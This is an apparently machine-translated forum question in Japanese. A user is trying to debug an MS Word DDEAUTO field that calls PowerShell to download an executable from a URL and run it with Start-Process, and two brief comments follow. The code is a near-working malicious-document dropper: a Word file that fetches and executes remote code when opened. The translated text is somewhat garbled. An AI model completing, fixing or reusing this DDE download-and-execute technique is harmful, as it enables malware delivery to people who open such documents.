ファイルをダウンロードして実行するために、MS WordでDDEAUTOスクリプトを作成しようとしています。開始プロセス:引数 'f'を受け入れる位置パラメータが見つかりません
コードは以下の通りです:
{
DDEAUTO
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe')
Start-Process 'file.exe' " "Message Text"
}
スクリプトはFILE.EXEとして、ファイルをダウンロードしますが、実行しません。
私はというエラーを取得:
Start Process : A positional parameter can not be found that accepts argument 'f'
私はMS Wordからそれを呼び出していたとき、私はPowerShellでそれを直接使用しますが、いない場合は、同じコードが完全に動作します。
次は、エラーのスクリーンショットです:
実際のコードを表示してください - あなたが 'Start-Process 'を呼び出すエラーに応じて' mess.exe '' .EXE f' –
これはまさに私が奇妙なことを発見したものです。 。 コードは私が上に投稿したものです。 –